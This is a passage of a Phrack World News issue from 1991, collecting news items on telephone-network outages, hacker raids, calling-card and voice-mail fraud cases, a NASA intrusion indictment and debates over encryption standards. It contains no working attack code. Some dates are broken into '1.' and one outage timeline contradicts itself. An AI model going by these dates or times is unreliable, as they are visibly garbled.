closely, malfunctions at one company can infect systems at other companies and
at long-distance carriers.

     "What you want to avoid is the situation where one system contaminates
another," said an investigator at the Federal Communications Commission who
insisted on anonymity.

     "I guess the ultimate concern is that software or hardware would be
deployed in a way that the corruption could be processed through entire
network, and there would be no alternatives available."
     As the telephone companies and government regulators tried to determine
more precisely on Thursday what went wrong, investigators at the communications
commission said they would also look at several other questions:

     Are there system wide problems that have gone unnoticed until now?  Can
telephone companies reduce risks by reducing their dependence on one type of
switching equipment?  Were the disruptions caused by computer operators outside
the telephone companies trying to sabotage the systems?

     Officials at both companies discounted the possibility that a computer
hacker might have caused the failures, and outside experts tended to agree.

     "There's always that possibility, but most likely it was some kind of
glitch or bug in the software," said A. Michael Noll, a professor at the
Annenberg School of Communications at the University of Southern California and
author of several textbooks on telecommunications technology.

     Several independent communications experts said the problems reflected
the difficulty of spotting all the hidden problems in complex software before
putting it into commercial use.

     "It's very hard to simulate all the possibilities in a laboratory," said
Richard Jay Solomon, a telecommunications consultant and research associate at
the Massachusetts Institute of Technology.  "You have to go out in the field
and keep your fingers crossed."

     As more information became available on Thursday, the two disruptions
appeared to be almost identical. The problem at Chesapeake & Potomac, a
subsidiary of the Bell Atlantic Corp., began as the company was increasing the
traffic being routed by one of its four signal processing computers. For
reasons that remain a mystery, the system began to malfunction about 11:40 a.m.

     The computer was supposed to shut itself down, allowing the traffic to
be handled by other computers. Instead, it sent out a barrage of erroneous
signals, apparently overwhelming the other two computers.  "It was as if bogus
information was being sent," said Edward Stanley, a company spokesman.

     The same thing seems to have occurred almost two hours later, at about 11
a.m., in Los Angeles, said Paul Hirsch, a spokesman for Pacific Bell, a
subsidiary of the Pacific Telesis Group.

     Hirsch said the problem began when one of four signal transfer points
signaled to the others that it was having problems. The other three computers
froze after being overloaded by signals the defective computer.

     Hirsch said his company continued to believe that the two telephone
incidents were completely unrelated.  "Someone wins the lottery every week,"
he said.  "Stranger things can happen."

     Officials at Chesapeake and Potomac said the problems were probably
unrelated.  Asked if hackers could have caused the problems, Ellen Fitzgerald,
a spokeswoman for Chesapeake and Potomac, said she had been assured that
the system could not be penetrated.  But, she added, "a few days ago I would
have told you that what happened yesterday wouldn't happen."
     Terry Adams, a spokesman at the DSC Communications Corp., which made
both systems, said company officials also discounted any connection between the
failures.
______________________________________________________________________________


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                               ==Phrack Inc.==

                Volume Three, Issue Thirty-four, File #11 of 11

              PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
              PWN                                             PWN
              PWN             Phrack World News               PWN
              PWN                                             PWN
              PWN           Issue XXXIV,  Part Two            PWN
              PWN                                             PWN
              PWN            Compiled by Dispater             PWN
              PWN                                             PWN
              PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Mind Rape or Media Rape?
~~~~~~~~~~~~~~~~~~~~~~~
Special Thanks: Night Ranger

Thursday September 26, 1991  was no ordinary day for Mind Rape, a young Arizona
State college student.  When he finally made it home that day, he found his home
had been raided by the feds.  'They took EVERYTHING! Including my Metallica
tape!' he told me.  After talking to him for quite a while I learned a lot, not
just about his bust but about hacking in general.  He instructed me not to say
anything specifically on the advice of his lawyer and the EFF, but he did want
me to let the real reason he was busted be known - His electronic newsletter
entitled NSA (for National Security Anarchists).  Mind Rape has some very
important views on hacking that the government doesn't want others to hear.
Some of these views were contained in his newest and soon to be released
newsletter NSA issue number five, which was confiscated of course.  He was also
working on a book about hacker's philosophy, which was taken too.  He has not
yet been charged but in the eyes of the media he is already been tried and
found guilty.  It is unfortunate the general public gets its information from
news reports like the following because, as you can see, they can be quite
misleading.  Hopefully once Mind Rape gets everything straight he will continue
to write his book, after all it is his constitutional right to do so, and I
think it be quite informative to both the hackers of the nineties and the
outside world.

The following is a transcript of a news report covering his story...

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

     Male Announcer: That student is Donald _____ of Phoenix.  Officials of
LDL Long Distance believe he's one of around 20 hackers who've been ripping off
their company for fun and profit.  In tonight's Night Team Report we'll see how
this kind of thievery adds up.  The nation's telephone companies loose more
than a billion dollars a year to hackers.  Mark Nighten (sp?) a security
director for LDL Long Distance.  Last month he was poring through records like
these which convinced him to believe that someone was making hundreds of
computer generated phone calls to his company's 1-800 access line trying to get
customer's calling card codes.  He went to the Phoenix Police.  They got a
search warrant and traced the calls to a house near 18th Drive near Union
Hills.  Police went there last month and came away with a computer, software
and a list of phone codes, all belonging to 19 year old Donald _____ an ASU
student.   With nighten suspects _____ is just one of 20 hacker on his network
who can make thousands of dollars worth of calls which would wind up on other
people's phone bills.

     Mark: You can see the magnitude of this.  Off of one authorization code
you could have 10, maybe 150 other people...

     Male Announcer: Lemme ask ya...How bad are you getting ripped off here?

     Mark: We've had to have somebody on this 24 hours a day.  We've been
getting killed.

     Male Announcer: Hackers often sell the codes they steal to other students.
So that hundreds of students and Arizona State University and University of
Arizona also could be ripping of the company.  Students at Arizona State
University told me today that they have not herd of LDL's troubles, but they
confirmed that stolen phone codes do have a way of getting around.

     I iz a College Student: Someone hears...ya know...about the interest and
someone else knows somebody...ya know...and they tell you and you talk to
them and...ya know...it's not overly expensive or anything like that.

     Male Announcer: Dr. Dan Kneer of Arizona State University's School
of Business is a nationally recognized expert on computer crime.  [who?]  He
contends that hacking is mushrooming.

     Dr. Dan: The problem that I see is that these people philosophically
don't see this as a crime.  For most of them this is an intellectual challenge.

     Male Announcer: That challenge led Dutch students to break into a United
States Army Computer during operation desert storm.  And as this Japanese
documentary shows, it led hackers in a New York City to use payphones to commit
big time rip-offs.  Now it's important to point out that Donald ______, that
Arizona State University student, has not yet been charged with any crime and
if he is charged he is innocent until proven guilty.

     Female announcer: What is the penalty for hacking?

     Male Announcer: Just for getting into a system when you're not supposed to
can be up to a year and a half in prison.   But if there is criminal intent to
steal, to rip-off that system, the penalty can be as high as 10 years in jail
and a $150,000.00 fine.

_______________________________________________________________________________

Computer Hacker Gets Probation                              September 26, 1991
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Special Thanks: Flaming Carrot (Pittsburgh Post-Gazette)

     A Mt. Lebanon woman who was able to make thousands of free long-distance
telephone calls by breaking into voice mail boxes with a touch tone telephone
has been placed on 10 years probation.  Last Friday, Common Pleas Judge Robert
E. Dauer ordered Andrea Gerulis, 20, of Castle Shannon Boulevard to make
restitution of $4,300 to Magee Womens Hospital and $2,516 to Pittsburgh
Cellular Telephone Co.

     Gerulis, a Mt. Lebanon High School graduate, was a computer hacker who
entered telephone computer systems illegally so that she could make telephone
calls without paying for the service.  Mt. Lebanon police Detective John L.
Michalec posed as a computer hacker and spent nine months investigating her
activities, which were done by dialing codes on a touch-tone telephone.

     After a non-jury trial in May, Dauer convicted her of two counts of theft
of services and two counts of unlawful use of computers.  Assistant District
Attorney Thaddeus A. Dutkowski recommended probation because he didn't want
Gerulis to go to jail, where she could teach inmates how to commit crimes with
a telephone.  If she were incarcerated, she would have the largest classroom
environment she could hope for, Dutkowski said.

     Dauer agreed that inmates already know too much about committing crimes
with telephones.  Gerulis told Dauer that she was sorry for what she did, that
when she started, she was doing it for fun.  She was also ordered to continue
psychological counseling.
_______________________________________________________________________________

More Archaic Government Regulations Proposed
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Special Thanks: Stainless Steal Provider (New York Times)

     The federal government said Thursday that it would introduce a standard
for authenticating electronic data later this summer, but the announcement
prompted an angry reaction from one of the leading private providers of software
that protects computer data.

     The company, RSA Data Security Inc. of Redwood City, Calif., said the
government had failed to address fears about the possibility of a secret "trap
door," which would permit intelligence and law-enforcement agencies to look at
private data.

    The issue of providing special mechanisms to permit government access to
private information has caused a growing public debate recently.

    Earlier this year an anti-terrorism bill introduced in Congress called on
the computer and telecommunication industries to permit federal agencies to
look at private data.  But the statement was later dropped from the bill after
extensive public opposition.

    Government officials said that it would be possible for technical experts
to examine the standard when it is released this summer and they could decide
for themselves whether there were any shortcomings in the design of the
standard.

    "It will be openly published and people can inspect it to their heart's
content," said James H. Burrows, head of the computer systems laboratory at the
National Institute of Standards and Technology.

    He added that the new standard was not intended to encrypt computer data,
and that the government would continue to rely on an earlier technology known
as the Data Encryption Standard to actually hide information from potential
electronic eavesdroppers.

    Burrows said there was a project under way to develop a successor to that
standard, but that it was years away from completion.
______________________________________________________________________________

Computer Whiz Accused Of Illegal Access and Mischief        September 25, 1991
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Peter G. Chronis (The Denver Post Page 1 "NASA vs. Hobbyist")

     An Aurora computer hobbyist who allegedly used a personal computer and his
home phone to penetrate NASA computers hacked off Uncle Sam enough to be
indicted on seven federal counts yesterday.  Richard G. Wittman, 24, the
alleged "hacker," was accused of two felonies, including gaining unauthorized
access to NASA computers to alter, damage, or destroy information, and five
misdemeanor counts of interfering with the government's operation of the
computers.  Wittman allegedly got into the NASA system on March 7, June 11,
June 19, June 28, July 25, July 30, and Aug. 2, 1.

     Bob Pence, FBI chief in Denver, said Wittman used a personal computer in
his home and gained access to the NASA systems over telephone lines. The
investigation, which took more than a year, concluded that Wittman accessed the
NASA computer system and agency computers at the Marshall Space flight Center in
Huntsville, Alabama, and the Goddard Space Flight Center in Greenbelt,
Maryland.

     The NASA computers are linked to a system called Telenet, which allows
qualified people to access government data bases.  A user name and password
are required to reach the NASA computers.  Federal sources declined to reveal
more information because the complex case involves "sensitive material."

     Wittman, a high-school graduate, apparently hadn't worked in the computer
industry and held a series of odd jobs.  The felony counts against him each
carry a possible five-year prison term and $250,000 fine.
_______________________________________________________________________________

Security Increases
~~~~~~~~~~~~~~~~~
Special Thanks: Stainless Steal Provider (New York Times)

     The foundation was started by Richard Stallman, who was awarded a MacArthur
Foundation fellowship in 1.  While mainstream software companies
have prohibited users from freely copying their programs, Stallman, who is
widely respected for developing computer languages and software editing tools,
has argued that information is not the same as other commodities and should be
shared without cost.

     His password has been widely known among network users because he has
refused to keep it secret.  He is bitter about the changes that have
accompanied the coming of age of computer networks.

     Last month, after security was increased at the foundation and many users
were stripped of their guest privileges, Stallman said he considered giving up
his quest.

    In the end, he decided that the cause of creating free software was too
important to abandon, but he said he feels like a pariah.  "Since I won't agree
to have a real password, I will only be able to log in on the 'inside'
 machines,"
he wrote in an electronic message in response to a reporter's query.

    "I still feel partly ashamed of participating in this. I've been forced to
choose between two principles, both of which are so important to me that I
won't accept the loss of either of them."

     Idealists like Stallman and Ted Nelson, the author of the cult classic
 "Computer Lib," hoped that the computer revolution wouldn't be like the
industrial revolution. This time the wealth -- information -- would be free to
everyone and instant communication would break down the barriers between rich
and poor and remake mankind.

     Marvin Minsky, a computer science professor at MIT, said that for 15
years, beginning in 1963, researchers at the school lived in a paradise,
sharing computers and networks before a system of password protection was
installed. Now that has changed.  "It's sad," he said.

    "But Richard Stallman is living in a dream world.  He has this view that
his idea of computer ethics will prevail.  But it's not going to happen this
year or next."

    Instead of finding community on computer networks, many users are now
confronted with virus invasions and information theft, leading to the same
sense of alienation and fear felt by residents of large cities.

   "At first I thought this was Marshall McLuhan's global village coming to
reality," said Neil Harris, a manager at General Electric Information Services
Co., which sets up computer conferences and sells information to about 200,000
members around the world.

   "But it's not that at all. It's a lot of people connecting in hundreds of
small communities based around highly specific interests."

    Steven Levy, who has written about the early days of computing at MIT, said
that the demise of the Free Software Foundation's open door policy was
inevitable.

   "When you pass the plate around in church you don't expect people to steal
from it," he said.  "But sooner or later everyone knows that the plate is
unguarded, and there are always people who don't care about the church.  The
question is how far do you go to protect it?  Do you lock the church or do you
send an armed guard around with the plate?"
______________________________________________________________________________

PWN Quicknotes
~~~~~~~~~~~~~
1.   On June 12, 1991, Sirhackalot's equipment was confiscated by the Southern
     Bell and the FBI without any charges being filed.  Neither the FBI nor
     Southern Bell bothered to explain why they were in his home and taking his
     personal possessions.  Again neither party could tell Sirhackalot what he
     supposedly did to bring both agency's to his doorstep.  Also busted were
     Mr.Doo and The Imortal Phreak.  [Special Thanks: The Marauder (404)]
_______________________________________________________________________________

2.   Bill Cook is no longer an assistant United States Attorney in Chicago.  It
     is unknown how he left his position.  Basic questions go unanswered. Did
     he quit or was fired?  If he was fired, we'd like to know exactly why.
_______________________________________________________________________________

3.   Wanted:  Targets of Operation Sun Devil

     Computer Professionals for Social Responsibility (CPSR) is pursuing a
     lawsuit against the Secret Service seeking the release of information
     concerning Operation Sun Devil.  In recently filed court papers, the
     agency claims that the information cannot be disclosed because, among
     other reasons, disclosure would violate the privacy of those individuals
     who are the targets of the investigation.  This argument can be overcome
     if CPSR obtains signed releases from those individuals.  CPSR is
     requesting the cooperation of anyone who was the subject of a Sun Devil
     raid on or about May 7, 1.  We are prepared to enter into an attorney-
     client relationship with individuals responding to this request, so that
     confidentiality will be assured.

     Please respond ASAP to:

                           David Sobel
                           CPSR Legal Counsel
                           (202) 544-9240
                           [email protected]
_______________________________________________________________________________

4.   Recently Microsoft discovered it was the victim of trespassing.  A
     security guard noticed two people playing volleyball on the premises and
     knew that they did not work for Microsoft.  The officer approached the
     volleyball players and asked them to leave.  The trespassers left.  Later
     someone asked the security guard how he knew that the people playing
     volleyball were not Microsoft employees. He replied, "They had tans."
     [Special Thanks: Psychotic Surfer]
_______________________________________________________________________________




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